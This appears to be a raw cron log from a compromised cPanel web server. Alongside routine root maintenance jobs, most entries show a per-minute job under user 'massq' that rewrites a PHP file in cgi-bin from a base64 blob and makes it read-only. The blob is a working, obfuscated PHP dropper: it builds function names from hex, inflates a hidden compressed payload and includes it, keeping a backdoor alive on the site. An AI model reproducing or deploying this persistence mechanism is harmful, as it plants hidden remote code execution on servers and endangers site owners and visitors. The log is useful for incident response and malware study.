Nov 13 07:35:01 server CROND[18373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:35:01 server CROND[18375]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 07:36:01 server CROND[19067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:37:01 server CROND[19774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:38:01 server CROND[20387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:39:01 server CROND[20924]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:39:01 server CROND[20925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:40:01 server CROND[21793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:40:01 server CROND[21794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:40:01 server CROND[21795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:40:01 server CROND[21800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:41:01 server CROND[22644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:42:01 server CROND[23493]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:42:01 server CROND[23494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:43:01 server CROND[24381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:44:01 server CROND[25272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:45:01 server CROND[26154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:45:01 server CROND[26155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:45:01 server CROND[26156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:46:01 server CROND[26940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:47:01 server CROND[27792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
